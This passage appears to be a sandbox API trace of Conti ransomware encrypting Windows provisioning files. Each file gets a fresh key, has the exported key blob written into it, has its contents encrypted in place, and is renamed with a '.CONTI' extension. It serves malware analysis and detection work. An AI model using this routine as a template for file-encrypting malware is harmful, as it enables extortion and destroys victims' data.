(switzerland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.747] GetProcessHeap () returned 0x1720000
	[0111.747] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.747] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.747] GetProcessHeap () returned 0x1720000
	[0111.747] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656cd70 | out: hHeap=0x1720000) returned 1
	[0111.747] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.747] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17ff550 | out: phKey=0x17ff550*=0x6b7f038) returned 1
	[0111.747] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ff554, pdwDataLen=0x54bfc14 | out: pbData=0x17ff554*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.748] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0111.748] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.749] GetLastError () returned 0x0
	[0111.749] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=850) returned 1
	[0111.749] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x352
	[0111.749] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.749] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.749] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.749] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.749] WriteFile (in: hFile=0x3ec, lpBuffer=0x17ff554*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17ff554*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.755] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.755] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x352, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x352, lpOverlapped=0x0) returned 1
	[0111.755] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x352, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x360) returned 1
	[0111.756] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.756] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x360, lpOverlapped=0x0) returned 1
	[0111.756] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.756] WriteFile (in: hFile=0x3ec, lpBuffer=0x17ff548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17ff548*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.756] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.756] CloseHandle (hObject=0x3ec) returned 1
	[0111.756] GetProcessHeap () returned 0x1720000
	[0111.756] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.756] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml"
	[0111.756] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml.CONTI"
	[0111.756] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0111.757] GetProcessHeap () returned 0x1720000
	[0111.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.757] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.757] GetProcessHeap () returned 0x1720000
	[0111.757] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807db8 | out: hHeap=0x1720000) returned 1
	[0111.757] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.757] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17ff9e0 | out: phKey=0x17ff9e0*=0x6b7f338) returned 1
	[0111.757] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ff9e4, pdwDataLen=0x54bfc14 | out: pbData=0x17ff9e4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.758] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.758] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0111.758] GetLastError () returned 0x0
	[0111.758] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=650) returned 1
	[0111.758] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0111.758] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.758] SetEndOfFile (hFile=0x3ec) returned 1
	[0111.758] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.759] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.759] WriteFile (in: hFile=0x3ec, lpBuffer=0x17ff9e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17ff9e4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.765] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.765] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x28a, lpOverlapped=0x0) returned 1
	[0111.765] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x28a, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x290) returned 1
	[0111.765] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.765] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x290, lpOverlapped=0x0) returned 1
	[0111.765] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.765] WriteFile (in: hFile=0x3ec, lpBuffer=0x17ff9d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17ff9d8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.765] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.765] CloseHandle (hObject=0x3ec) returned 1
	[0111.765] GetProcessHeap () returned 0x1720000
	[0111.765] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.765] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml"
	[0111.765] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.765] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.766] GetProcessHeap () returned 0x1720000
	[0111.766] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b62048 | out: hHeap=0x1720000) returned 1
	[0111.766] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0111.766] GetProcessHeap () returned 0x1720000
	[0111.766] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807898 | out: hHeap=0x1720000) returned 1
	[0111.766] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.766] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x17ff798 | out: phKey=0x17ff798*=0x6b7f3f8) returned 1
	[0111.766] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ff79c, pdwDataLen=0x54bfc14 | out: pbData=0x17ff79c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.767] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.808] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.809] GetLastError () returned 0x0
	[0111.809] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=836) returned 1
	[0111.809] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x344
	[0111.809] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.819] SetEndOfFile (hFile=0x380) returned 1
	[0111.830] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.831] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.839] WriteFile (in: hFile=0x380, lpBuffer=0x17ff79c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x17ff79c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.845] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.845] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x344, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x344, lpOverlapped=0x0) returned 1
	[0111.845] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x344, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x350) returned 1
	[0111.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.845] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x350, lpOverlapped=0x0) returned 1
	[0111.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.845] WriteFile (in: hFile=0x380, lpBuffer=0x17ff790*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x17ff790*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.845] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.845] CloseHandle (hObject=0x380) returned 1
	[0111.845] GetProcessHeap () returned 0x1720000
	[0111.845] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.846] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0111.846] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.846] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.846] GetProcessHeap () returned 0x1720000
	[0111.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.846] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0111.846] GetProcessHeap () returned 0x1720000
	[0111.846] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808190 | out: hHeap=0x1720000) returned 1
	[0111.846] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.846] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1804c00 | out: phKey=0x1804c00*=0x6b7f0b8) returned 1
	[0111.846] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x1804c04, pdwDataLen=0x54bfc14 | out: pbData=0x1804c04*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.847] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\448__Connections_Cellular_Orascom (Tunisia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\448__connections_cellular_orascom (tunisia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.848] GetLastError () returned 0x0
	[0111.848] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=787) returned 1
	[0111.848] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x313
	[0111.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.848] SetEndOfFile (hFile=0x380) returned 1
	[0111.848] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.848] WriteFile (in: hFile=0x380, lpBuffer=0x1804c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x1804c04*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.855] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.855] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x313, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x313, lpOverlapped=0x0) returned 1
	[0111.855] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x313, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x320) returned 1
	[0111.855] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.855] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x320, lpOverlapped=0x0) returned 1
